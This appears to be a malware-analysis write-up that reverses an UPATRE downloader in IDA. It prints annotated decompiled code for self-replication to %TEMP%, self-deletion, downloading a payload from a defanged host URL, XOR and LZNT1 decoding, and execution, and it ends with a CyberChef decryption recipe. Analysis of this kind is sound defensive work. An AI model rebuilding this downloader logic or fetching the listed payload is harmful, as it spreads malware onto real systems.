Reversing an UPATRE Downloader Sample With IDA
Simply put, UPATRE is a downloader written in C/C++ that retrieves payloads via HTTP. Downloaded payloads are typically written to disk and then executed.
Sample SHA 256: 0000b060341630c2385b5cea8ce2e866671519b31641f5a0c525b880fc655d9e
All of the interesting functionality occurs within the entry point, starting with code that rewrites and executes the file under %TEMP%
Downloader
Replication
GetModuleHandleW(0);
hHeap = HeapCreate(0, 0x2000u, 0);
v0 = (WCHAR *)HeapAlloc(hHeap, 8u, 0x2000u);
lpBuffer = (LPWSTR)HeapAlloc(hHeap, 8u, 0x2000u); // Memory Allocation ^
GetModuleFileNameW(0, v0, 0x2000u); // Gets full path of current running process, stored in v0
GetTempPathW(0x1000u, lpBuffer); // Gets path to %TEMP%, stored in lpBuffer
wsprintfW(lpBuffer, L"%s%s", lpBuffer, L"budha.exe"); // Builds the string %TEMP%\budha.exe 'C:\Users\User1\Local\AppData\Temp\budha.exe'
FileW = CreateFileW(v0, 0x80000000, 1u, 0, 3u, 0x80u, 0); // Creates a handle to itself, stored as FileW
hFile = FileW; // hFile = Handle to itself
if ( FileW == (HANDLE)-1 ) // If the handle creation failed..
return 1; // Return 1 to the calling process 'failed'
nNumberOfBytesToRead = GetFileSize(FileW, 0); // Sets the nNumberOfBytesToRead to the file size of the file handle
v3 = lstrlenW(v0); // v3 = length of current executing path
v4 = HeapAlloc(hHeap, 8u, nNumberOfBytesToRead + 2 * v3 + 4); // v4 = Memory allocation of current executing process file + length of current executing path [EXE Bytes + File Path]
v31 = v4;
if ( !v4 )
ExitProcess(1u); // If memory allocation fails, exit process
ReadFile(hFile, v4, nNumberOfBytesToRead, &NumberOfBytesRead, 0); // Read the current executing process into memory
if ( lstrcmpW(v0, lpBuffer) ) // Execute if statement only if the current executing process is not %TEMP%\budha.exe
{
v5 = lstrlenW(v0); // v5 = Length of current executing process file path
memcpy((char *)v31 + nNumberOfBytesToRead, v0, 2 * v5 + 2); // Appends the current executing path [v0] to the end of the memory buffer [v31 + nNumberOfBytesToRead]
hHeap = CreateFileW(lpBuffer, 0x40000000u, 2u, 0, 2u, 0x80u, 0); // 0x40000000 = GENERIC_WRITE, 2 = FILE_SHARE_WRITE, 2 = CREATE_ALWAYS [Overwrite if exists]
if ( hHeap == (HANDLE)-1 ) // If the handle creation failed...
return 1; // Return to the calling process
v6 = lstrlenW(v0);
WriteFile(hHeap, v31, nNumberOfBytesToRead + 2 * v6 + 4, &NumberOfBytesRead, 0); // Write the current executing process + appended original filepath metadata to %TEMP%\budha.exe
CloseHandle(hFile);
CloseHandle(hHeap); // Close both handles to the current process
GetTempPathW(0x1000u, v0);
ShellExecuteW(0, L"open", lpBuffer, 0, v0, 0); // Execute the new process under %TEMP%\budha.exe
LABEL_8:
ExitProcess(0);
}
Self-Deletion
Next, when the binary is executing from %TEMP%, it will attempt to delete itself from its “original” location by querying the metadata that was added in the replication stage, which contains the processes original execution path.
}
v7 = (char *)v31 + 40 * *(unsigned __int16 *)((char *)v31 + *((_DWORD *)v31 + 15) + 6) + *((_DWORD *)v31 + 15) + 208; // Calculates the offset to the start of the last PE section
v8 = (const WCHAR *)((char *)v31 + *((_DWORD *)v7 + 4) + *((_DWORD *)v7 + 5)); // Calculates where the appended metadata is [Original execution path]
CloseHandle(hFile);
for ( nNumberOfBytesToRead = 0; (int)nNumberOfBytesToRead <= 20000; ++nNumberOfBytesToRead )
{
if ( DeleteFileW(v8) ) // Repeatadly attempts to delete the original file
break;
}
Payload Downloading
Next up is a payload being downloaded over HTTP using Windows API calls
v31 = InternetOpenW(L"Updates downloader", 0, 0, 0, 0); // InternetOpenW API with "Updates downloader" user-agent is held in variable v31
if ( v31 ) // If this was successful, build an lpszAcceptTypes string of "text/application/*"
{
lpBuffer = (LPWSTR)-1;
lpszAcceptTypes[0] = L"text/*";
lpszAcceptTypes[1] = L"application/*";
lpszAcceptTypes[2] = 0;
do
{
while ( 1 )
{
LABEL_14:
lpBuffer = (LPWSTR)((char *)lpBuffer + 1);
if ( (int)lpBuffer > 1 )
lpBuffer = 0;
v9 = 0;
while ( 1 )
{
v10 = InternetConnectW((HINTERNET)v31, (&lpszServerName)[(_DWORD)lpBuffer], 0x1BBu, 0, 0, 3u, 0, 0);
// InternetConnectW API held in v10 variable [Updates downloader, lpszAcceptTypes = text/application/*]
// v31 used as the User-Agent argument
// Port 443 (0x1BB)
// &lpszServerName is a global data variable holding california89[.]com
if ( v10 )
break;
if ( ++v9 >= 3 )
goto LABEL_14;
}
nNumberOfBytesToRead = 0;
while ( 1 )
{
v11 = HttpOpenRequestW(v10, 0, (&lpszObjectName)[(_DWORD)lpBuffer], 0, 0, lpszAcceptTypes, 0x80803000, 0);
// HttpOpenRequestW API held in the v11 variable
// &lpszObjectName is a global data variable containing "/wp-content/uploads/2013/05/pdf.enc"
hFile = v11;
if ( v11 )
break;
if ( (int)++nNumberOfBytesToRead >= 3 )
goto LABEL_14;
}
dwBufferLength = 4;
InternetQueryOptionW(v11, 0x1Fu, &Buffer, &dwBufferLength);
Buffer |= 0x100u;
InternetSetOptionW(v11, 0x1Fu, &Buffer, 4u);
for ( i = 0; i < 2; ++i )
{
if ( HttpSendRequestW(v11, 0, 0, 0, 0) ) // HttpSendRequestW is called from arguments in v11, 2 max attempts
break;
}
if ( i != 2 )
{
v27 = 4;
dwBytes = 0;
for ( j = 0; j < 3; ++j )
{
if ( HttpQueryInfoW(v11, 0x20000005u, &dwBytes, &v27, 0) )
break;
}
if ( dwBytes >= 0x30D40 ) // ensure payload size >= 200 KB before downloading
break;
}
}
v14 = (char *)HeapAlloc(hHeap, 8u, dwBytes);
if ( !v14 )
return 1;
NumberOfBytesRead = 0;
for ( nNumberOfBytesToRead = 0; (int)nNumberOfBytesToRead < 20; ++nNumberOfBytesToRead )
{
v15 = v14;
for ( k = InternetReadFile(hFile, v14, dwBytes, &NumberOfBytesRead); // Download the data from california89[.]com/wp-content/uploads/2013/05/pdf.enc
k;
k = InternetReadFile(hFile, v15, dwBytes, &NumberOfBytesRead) )
{
v15 += NumberOfBytesRead;
if ( !NumberOfBytesRead || NumberOfBytesRead == dwBytes )
break;
}
if ( v15 - v14 == dwBytes ) // Exit when full payload is downloaded
break;
}
}
There is then an if statement as follows:
if ( !v17 || v14[1] != 90 || v14[2] != 80 || v14[3] )
The code is checking the header of the downloaded payload for the presence of 3 bytes “ZZP” (90h = Z, 80h = P)
If those bytes exist, the code continues execution into the decompression & decryption routine. If those bytes do not exist, the binary will skip those code and jump to a location where the payload is written to disk and executed.
Payload Decompression & Decryption
nNumberOfBytesToRead = (DWORD)HeapAlloc(hHeap, 8u, 4 * dwBytes);
if ( nNumberOfBytesToRead )
{
v18 = dword_403010[(_DWORD)lpBuffer];
// dword_403010 contains a hex XOR key [78 56 34 12]
v19 = 4 * dwBytes;
v20 = 1;
v31 = 0;
if ( (dwBytes & 0xFFFFFFFC) > 4 )
{
do
*(_DWORD *)&v14[4 * v20++] ^= v18; // XOR the data [v14] with the XOR key [v18]
while ( v20 < dwBytes >> 2 );
}
LibraryW = LoadLibraryW(L"ntdll.dll"); // Dynamically load ntdll.dll
hFile = LibraryW;
if ( LibraryW )
{
RtlDecompressBuffer = GetProcAddress(LibraryW, "RtlDecompressBuffer"); // Dynamically resolve RtlDecompressBuffer function
dword_403018 = (int)RtlDecompressBuffer;
if ( !RtlDecompressBuffer )
{
FreeLibrary((HMODULE)hFile);
return 1;
}
dwBytes -= 4; // Drop the first 4 bytes
v23 = v14 + 4; // v23 now points to data AFTER the first 4 bytes
v14 = (char *)nNumberOfBytesToRead;
((void (__stdcall *)(int, DWORD, SIZE_T, _BYTE *, SIZE_T, LPCVOID *))RtlDecompressBuffer)( //Decompress the payload with following arguments:
258,
nNumberOfBytesToRead,
v19,
v23,
dwBytes,
&v31);
FreeLibrary((HMODULE)hFile);
dwBytes = v19;
goto LABEL_53; // Jump to the 'File Writing & Execution' code
}
}
}
return 1;
}
File Writing & Execution
If the ZZP magic bytes were not found, or, if the code jumped to LABEL_53, we found ourselves at this code block, which simply writes the payload to a file on disk, and executes it.
hFile = CreateFileW(L"kilf.exe", 0x40000000u, 2u, 0, 2u, 0x80u, 0); // Creates a writable handle to kilf.exe in the current directory
WriteFile(hFile, v14, dwBytes, &NumberOfBytesWritten, 0); // Writes the downloaded payload (v14) to kilf.exe
CloseHandle(hFile); // Closes the handle to kilf.exe
if ( nNumberOfBytesToRead )
HeapFree(hHeap, 0, (LPVOID)nNumberOfBytesToRead);
GetCurrentDirectoryW(0x400u, v24);
wsprintfW(v24, L"%s\\%s", v24, L"kilf.exe");
ShellExecuteW(0, L"open", v24, 0, 0, 0); // Executes the payload
goto LABEL_8; // Terminate current process
So from this function we can infer that the payload is XOR’d with hex key 78 56 34 12, decompressed with RtlDecompressBuffer, and executed.
One payload being served by this URL has the SHA 256 hash: 84864d1758432f365aec494cb963158b77c77014db19e5f3990966e147a85235
It has the ZZP magic bytes and can be decrypted with the following CyberChef recipe:
Drop_bytes(0,4,false)
XOR({'option':'Hex','string':'78 56 34 12'},'Standard',false)
LZNT1_Decompress()